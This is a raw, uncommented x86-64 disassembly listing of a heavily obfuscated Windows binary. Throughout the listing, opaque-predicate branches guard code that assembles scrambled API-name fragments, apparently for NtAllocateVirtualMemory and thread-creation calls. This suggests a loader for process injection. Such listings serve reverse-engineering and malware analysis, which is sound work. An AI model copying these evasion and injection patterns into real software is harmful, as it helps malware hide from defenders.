call fcn.140072ef0
add rsp, 0x20
mov rdx, rax
mov rax, qword [rbp + 0x1fb0]
mov eax, dword [rax]
test eax, eax
lea rax, [0x1401a2b05]
lea r8, [0x1401a2b0a]
cmovne r8, rax
sub rsp, 0x20
lea rcx, [0x1401a2af2]
call fcn.140031580
add rsp, 0x20
jmp 0x1400083ca
mov rcx, qword [rbp + 0x2068]
sub rsp, 0x20
call fcn.1400b60f0
add rsp, 0x20
mov r8, qword [rbp + 0x2068]
mov rcx, qword [rbp + 0x2060]
sub rsp, 0x20
lea rdx, str.NtAlocaeViruMmy
call fcn.1400f6600
add rsp, 0x20
jmp 0x140008405
mov rdx, qword [rbp + 0x2060]
mov rcx, qword [rbp + 0x2050]
sub rsp, 0x20
lea r8, [0x1401a2ad6]
call fcn.140109980
add rsp, 0x20
jmp 0x14000842c
mov rdx, qword [rbp + 0x2050]
mov rcx, qword [rbp + 0x2048]
sub rsp, 0x20
lea r8, str.WPCThdExRsFSngObjQIfpGDw
call fcn.140109980
add rsp, 0x20
jmp 0x140008453
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140008492
jmp 0x14002ef51
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
sub edx, 0x7eaa2f19
sub edx, 1
add edx, 0x7eaa2f19
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x1400084d6
jmp 0x14002ef51
mov rdx, qword [rbp + 0x2048]
mov rcx, qword [rbp + 0x2040]
sub rsp, 0x20
lea r8, [0x1401a2ae8]
call fcn.140109980
add rsp, 0x20
jmp 0x1400084fd
mov rdx, qword [rbp + 0x2040]
mov rcx, qword [rbp + 0x2038]
sub rsp, 0x20
lea r8, [0x1401a2ae6]
call fcn.140109980
add rsp, 0x20
jmp 0x140008524
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
add edx, 0x78a95d02
sub edx, 1
sub edx, 0x78a95d02
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140008568
jmp 0x14002ef56
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
add edx, 0x5426b20f
sub edx, 1
sub edx, 0x5426b20f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x1400085df
jmp 0x14002ef56
mov rdx, qword [rbp + 0x2038]
mov rcx, qword [rbp + 0x2030]
sub rsp, 0x20
lea r8, [0x1401a2ad6]
call fcn.140109980
add rsp, 0x20
jmp 0x140008606
mov rdx, qword [rbp + 0x2030]
mov rcx, qword [rbp + 0x2028]
sub rsp, 0x20
lea r8, [0x1401a2ae2]
call fcn.140109980
add rsp, 0x20
jmp 0x14000862d
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
add edx, 0xe0abf1d6
sub edx, 1
sub edx, 0xe0abf1d6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140008671
jmp 0x14002ef5b
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x1400086b0
jmp 0x14002ef5b
mov rdx, qword [rbp + 0x2028]
mov rcx, qword [rbp + 0x2020]
sub rsp, 0x20
lea r8, [0x1401a2ae4]
call fcn.140109980
add rsp, 0x20
jmp 0x1400086d7
mov rdx, qword [rbp + 0x2020]
mov rcx, qword [rbp + 0x2018]
sub rsp, 0x20
lea r8, [0x1401a2ae6]
call fcn.140109980
add rsp, 0x20
jmp 0x1400086fe
mov rdx, qword [rbp + 0x2018]
mov rcx, qword [rbp + 0x2010]
sub rsp, 0x20
lea r8, [0x1401a2ae8]
call fcn.140109980
add rsp, 0x20
jmp 0x140008725
mov rdx, qword [rbp + 0x2010]
mov rcx, qword [rbp + 0x2008]
sub rsp, 0x20
lea r8, [0x1401a2ad6]
call fcn.140109980
add rsp, 0x20
jmp 0x14000874c
mov rdx, qword [rbp + 0x2008]
mov rcx, qword [rbp + 0x2000]
sub rsp, 0x20
lea r8, [0x1401a2aea]
call fcn.140109980
add rsp, 0x20
jmp 0x140008773
mov rdx, qword [rbp + 0x2000]
mov rcx, qword [rbp + 0x1ff8]
sub rsp, 0x20
lea r8, [0x1401a2ae0]
call fcn.140109980
add rsp, 0x20
jmp 0x14000879a
mov rdx, qword [rbp + 0x1ff8]
mov rcx, qword [rbp + 0x1ff0]
sub rsp, 0x20
lea r8, [0x1401a2ada]
call fcn.140109980
add rsp, 0x20
jmp 0x1400087c1
mov rdx, qword [rbp + 0x1ff0]
mov rcx, qword [rbp + 0x1fe8]
sub rsp, 0x20
lea r8, [0x1401a2aec]
call fcn.140109980
add rsp, 0x20
jmp 0x1400087e8
mov rdx, qword [rbp + 0x1fe8]
mov rcx, qword [rbp + 0x1fe0]
sub rsp, 0x20
lea r8, [0x1401a2ae2]
call fcn.140109980
add rsp, 0x20
jmp 0x14000880f
mov rdx, qword [rbp + 0x1fe0]
mov rcx, qword [rbp + 0x1fd8]
sub rsp, 0x20
lea r8, [0x1401a2aee]
call fcn.140109980
add rsp, 0x20
jmp 0x140008836
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
add edx, 0x2f2f419e
sub edx, 1
sub edx, 0x2f2f419e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000887a
jmp 0x14002ef60
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
add edx, 0xe4ea27b5
sub edx, 1
sub edx, 0xe4ea27b5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x1400088be
jmp 0x14002ef60
mov rdx, qword [rbp + 0x1fd8]
mov rcx, qword [rbp + 0x1fd0]
sub rsp, 0x20
lea r8, [0x1401a2adc]
call fcn.140109980
add rsp, 0x20
jmp 0x1400088e5
mov rdx, qword [rbp + 0x1fd0]
mov rcx, qword [rbp + 0x1fc8]
sub rsp, 0x20
lea r8, [0x1401a2ae8]
call fcn.140109980
add rsp, 0x20
jmp 0x14000890c
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
add edx, 0x163e3f83
sub edx, 1
sub edx, 0x163e3f83
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x140008983
jmp 0x14002ef65
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
sub edx, 0x4782bb52
sub edx, 1
add edx, 0x4782bb52
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x1400089fa
jmp 0x14002ef65
mov rdx, qword [rbp + 0x1fc8]
mov rcx, qword [rbp + 0x1fc0]
sub rsp, 0x20
lea r8, [0x1401a2af0]
call fcn.140109980
add rsp, 0x20
jmp 0x140008a21
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
sub edx, 0x95127791
sub edx, 1
add edx, 0x95127791
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x140008a98
jmp 0x14002ef6a
mov rdx, qword [rbp + 0x1fc0]
mov rcx, qword [rbp + 0x1ee0]
sub rsp, 0x20
call fcn.1400f6dc0
mov rcx, qword [rbp + 0x1fc0]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1fc8]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1fd0]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1fd8]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1fe0]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1fe8]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1ff0]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1ff8]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x2000]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x2008]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x2010]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x2018]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x2020]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x2028]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x2030]
call fcn.1400f6b40
add rsp, 0x20
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
sub edx, 0x775c52b2
sub edx, 1
add edx, 0x775c52b2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140008bab
jmp 0x14002ef6a
jmp 0x140008bb0
mov rcx, qword [rbp + 0x2038]
sub rsp, 0x20
call fcn.1400f6b40
mov rcx, qword [rbp + 0x2040]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x2048]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x2050]
call fcn.1400f6b40
add rsp, 0x20
mov rcx, qword [rbp + 0x2060]
sub rsp, 0x20
call fcn.1400f6b40
mov rcx, qword [rbp + 0x2068]
call fcn.1400b6120
mov rcx, qword [rbp + 0x2070]
mov rdx, qword [rbp + 0x1ee0]
add rsp, 0x20
sub rsp, 0x20
call fcn.1400f5c90
add rsp, 0x20
jmp 0x140008c28
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
add edx, 0xe6698078
sub edx, 1
sub edx, 0xe6698078
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x140008c9f
jmp 0x14002f03e
mov rax, qword [rbp + 0x1e98]
mov rcx, qword [rbp + 0x1ed8]
mov rcx, qword [rcx]
mov qword [rbp + 0x1358], rcx
mov rax, qword [rax]
mov qword [rbp + 0x1360], rax
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
sub edx, 0xe38bff5b
sub edx, 1
add edx, 0xe38bff5b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140008d05
jmp 0x14002f03e
jmp 0x140008d0a
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x140008d7c
jmp 0x14002f043
mov rax, qword [rbp + 0x1ec0]
mov rax, qword [rax]
mov qword [rbp + 0x1350], rax
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
add edx, 0x8b3d5d0f
sub edx, 1
sub edx, 0x8b3d5d0f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140008dd1
jmp 0x14002f043
jmp 0x140008dd6
mov r9, qword [rbp + 0x1350]
mov r8, qword [rbp + 0x1360]
mov rdx, qword [rbp + 0x1358]
mov rcx, qword [rbp + 0x2070]
mov rax, qword [rbp + 0x1ec8]
mov r10, qword [rax]
mov r11, qword [rbp + 0x2120]
sub rsp, 0x30
mov rax, rsp
mov qword [rax + 0x28], r11
mov qword [rax + 0x20], r10
call fcn.140001af0
add rsp, 0x30
mov dword [rbp + 0x134c], eax
jmp 0x140008e26
mov rax, qword [rbp + 0x1fb0]
mov rcx, qword [rbp + 0x2070]
mov edx, dword [rbp + 0x134c]
mov dword [rax], edx
sub rsp, 0x20
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1ee0]
call fcn.140072ef0
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x1fb0]
mov qword [rbp + 0x1340], rcx
mov eax, dword [rax]
mov dword [rbp + 0x1348], eax
mov edx, dword [rbp + 0x1348]
lea rax, [0x1401a2b0a]
lea rcx, [0x1401a2b05]
cmp edx, 0
cmovne rax, rcx
mov qword [rbp + 0x1338], rax
mov r8, qword [rbp + 0x1338]
mov rdx, qword [rbp + 0x1340]
sub rsp, 0x20
lea rcx, [0x1401a2af2]
call fcn.140031580
add rsp, 0x20
jmp 0x140008eb7
mov rcx, qword [rbp + 0x1480]
sub rsp, 0x20
call fcn.1400b60f0
add rsp, 0x20
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x140008f3d
jmp 0x14002f048
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
add edx, 0x95a5065c
sub edx, 1
sub edx, 0x95a5065c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x140008fb4
jmp 0x14002f048
mov r8, qword [rbp + 0x1480]
mov rcx, qword [rbp + 0x1478]
sub rsp, 0x20
lea rdx, str.NtAlocaeViruMmy
call fcn.1400f6600
add rsp, 0x20
jmp 0x140008fdb
mov rdx, qword [rbp + 0x1478]
mov rcx, qword [rbp + 0x1470]
sub rsp, 0x20
lea r8, [0x1401a2ad6]
call fcn.140109980
add rsp, 0x20
jmp 0x140009002
mov rdx, qword [rbp + 0x1470]
mov rcx, qword [rbp + 0x1468]
sub rsp, 0x20
lea r8, [0x1401a2b12]
call fcn.140109980
add rsp, 0x20
jmp 0x140009029
mov rdx, qword [rbp + 0x1468]
mov rcx, qword [rbp + 0x1460]
sub rsp, 0x20
lea r8, [0x1401a2ae8]
call fcn.140109980
add rsp, 0x20
jmp 0x140009050
mov rdx, qword [rbp + 0x1460]
mov rcx, qword [rbp + 0x1458]
sub rsp, 0x20
lea r8, [0x1401a2adc]
call fcn.140109980
add rsp, 0x20
jmp 0x140009077
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x1400090e9
jmp 0x14002f04d
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
add edx, 0x4c737874
sub edx, 1
sub edx, 0x4c737874
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000912d
jmp 0x14002f04d
mov rdx, qword [rbp + 0x1458]
mov rcx, qword [rbp + 0x1450]
sub rsp, 0x20
lea r8, [0x1401a2ad6]
call fcn.140109980
add rsp, 0x20
jmp 0x140009154
mov rdx, qword [rbp + 0x1450]
mov rcx, qword [rbp + 0x1448]
sub rsp, 0x20
lea r8, [0x1401a2ae2]
call fcn.140109980
add rsp, 0x20
jmp 0x14000917b
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
sub edx, 0xadccaebd
sub edx, 1
add edx, 0xadccaebd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x1400091f2
jmp 0x14002f052
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
sub edx, 0xba58ae8a
sub edx, 1
add edx, 0xba58ae8a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x140009269
jmp 0x14002f052
mov rdx, qword [rbp + 0x1448]
mov rcx, qword [rbp + 0x1440]
sub rsp, 0x20
lea r8, [0x1401a2ade]
call fcn.140109980
add rsp, 0x20
jmp 0x140009290
mov rdx, qword [rbp + 0x1440]
mov rcx, qword [rbp + 0x1438]
sub rsp, 0x20
lea r8, [0x1401a2ad6]
call fcn.140109980
add rsp, 0x20
jmp 0x1400092b7
mov rdx, qword [rbp + 0x1438]
mov rcx, qword [rbp + 0x1430]
sub rsp, 0x20
lea r8, [0x1401a2ae4]
call fcn.140109980
add rsp, 0x20
jmp 0x1400092de
mov rdx, qword [rbp + 0x1430]
mov rcx, qword [rbp + 0x1428]
sub rsp, 0x20
lea r8, [0x1401a2ae6]
call fcn.140109980
add rsp, 0x20
jmp 0x140009305
mov rdx, qword [rbp + 0x1428]
mov rcx, qword [rbp + 0x1420]
sub rsp, 0x20
lea r8, [0x1401a2ae8]
call fcn.140109980
add rsp, 0x20
jmp 0x14000932c
mov rdx, qword [rbp + 0x1420]
mov rcx, qword [rbp + 0x1418]
sub rsp, 0x20
lea r8, [0x1401a2ad6]
call fcn.140109980
add rsp, 0x20
jmp 0x140009353
mov rdx, qword [rbp + 0x1418]
mov rcx, qword [rbp + 0x1410]
sub rsp, 0x20
lea r8, [0x1401a2aea]
call fcn.140109980
add rsp, 0x20
jmp 0x14000937a
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
sub edx, 0x265919c0
sub edx, 1
add edx, 0x265919c0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x1400093be
jmp 0x14002f057
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x140009430
jmp 0x14002f057
mov rdx, qword [rbp + 0x1410]
mov rcx, qword [rbp + 0x1408]
sub rsp, 0x20
lea r8, [0x1401a2ae0]
call fcn.140109980
add rsp, 0x20
jmp 0x140009457
mov rdx, qword [rbp + 0x1408]
mov rcx, qword [rbp + 0x1400]
sub rsp, 0x20
lea r8, [0x1401a2ada]
call fcn.140109980
add rsp, 0x20
jmp 0x14000947e
mov rdx, qword [rbp + 0x1400]
mov rcx, qword [rbp + 0x13f8]
sub rsp, 0x20
lea r8, [0x1401a2aec]
call fcn.140109980
add rsp, 0x20
jmp 0x1400094a5
mov rdx, qword [rbp + 0x13f8]
mov rcx, qword [rbp + 0x13f0]
sub rsp, 0x20
lea r8, [0x1401a2ae2]
call fcn.140109980
add rsp, 0x20
jmp 0x1400094cc
mov rdx, qword [rbp + 0x13f0]
mov rcx, qword [rbp + 0x13e8]
sub rsp, 0x20
lea r8, [0x1401a2aee]
call fcn.140109980
add rsp, 0x20
jmp 0x1400094f3
mov rdx, qword [rbp + 0x13e8]
mov rcx, qword [rbp + 0x2090]
sub rsp, 0x20
lea r8, [0x1401a2adc]
call fcn.140109980
add rsp, 0x20
jmp 0x14000951a
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
sub edx, 0x94b52976
sub edx, 1
add edx, 0x94b52976
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000955e
jmp 0x14002f05c
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000959d
jmp 0x14002f05c
mov rdx, qword [rbp + 0x2090]
mov rcx, qword [rbp + 0x2088]
sub rsp, 0x20
lea r8, [0x1401a2ae8]
call fcn.140109980
add rsp, 0x20
jmp 0x1400095c4
mov rdx, qword [rbp + 0x2088]
mov rcx, qword [rbp + 0x2078]
sub rsp, 0x20
lea r8, [0x1401a2af0]
call fcn.140109980
add rsp, 0x20
jmp 0x1400095eb
mov rdx, qword [rbp + 0x2078]
mov rcx, qword [rbp + 0x1ee0]
sub rsp, 0x20
call fcn.1400f6dc0
mov rcx, qword [rbp + 0x2078]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x2088]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x2090]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x13e8]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x13f0]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x13f8]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1400]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1408]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1410]
call fcn.1400f6b40
add rsp, 0x20
mov rcx, qword [rbp + 0x1418]
sub rsp, 0x20
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1420]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1428]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1430]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1438]
call fcn.1400f6b40
add rsp, 0x20
mov rcx, qword [rbp + 0x1440]
sub rsp, 0x20
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1448]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1450]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1458]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1460]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1468]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1470]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1478]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1480]
call fcn.1400b6120
mov rcx, qword [rbp + 0x1488]
mov rdx, qword [rbp + 0x1ee0]
add rsp, 0x20
sub rsp, 0x20
call fcn.1400f5c90
add rsp, 0x20
jmp 0x14000974a
mov rax, qword [rbp + 0x1e98]
mov rcx, qword [rbp + 0x1ed8]
mov rcx, qword [rcx]
mov qword [rbp + 0x1328], rcx
mov rax, qword [rax]
mov qword [rbp + 0x1330], rax
mov rax, qword [rbp + 0x1ec8]
mov rcx, qword [rbp + 0x1ec0]
mov rcx, qword [rcx]
mov qword [rbp + 0x1310], rcx
mov rax, qword [rax]
mov qword [rbp + 0x1318], rax
mov rax, qword [rbp + 0x2118]
mov qword [rbp + 0x1320], rax
mov r9, qword [rbp + 0x1310]
mov r8, qword [rbp + 0x1330]
mov rdx, qword [rbp + 0x1328]
mov rcx, qword [rbp + 0x1488]
mov r10, qword [rbp + 0x1318]
mov r11, qword [rbp + 0x1320]
sub rsp, 0x30
mov rax, rsp
mov qword [rax + 0x28], r11
mov qword [rax + 0x20], r10
call fcn.140001af0
add rsp, 0x30
mov dword [rbp + 0x130c], eax
jmp 0x1400097e9
mov rax, qword [rbp + 0x1fb0]
mov ecx, dword [rbp + 0x130c]
mov dword [rax], ecx
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x14000986a
jmp 0x14002f061
mov rcx, qword [rbp + 0x1488]
sub rsp, 0x20
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1ee0]
call fcn.140072ef0
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x1fb0]
mov qword [rbp + 0x1300], rcx
cmp dword [rax], 0
setne al
mov byte [rbp + 0x130b], al
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
sub edx, 0xe1b6bf44
sub edx, 1
add edx, 0xe1b6bf44
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x1400098eb
jmp 0x14002f061
jmp 0x1400098f0
mov rdx, qword [rbp + 0x1300]
mov cl, byte [rbp + 0x130b]
lea rax, [0x1401a2b05]
lea r8, [0x1401a2b0a]
test cl, 1
cmovne r8, rax
sub rsp, 0x20
lea rcx, [0x1401a2af2]
call fcn.140031580
add rsp, 0x20
jmp 0x14000992b
mov rsi, qword [rbp + 0x1ea0]
mov dword [rbp + 0x213c], 0
sub rsp, 0x20
call fcn.140002760
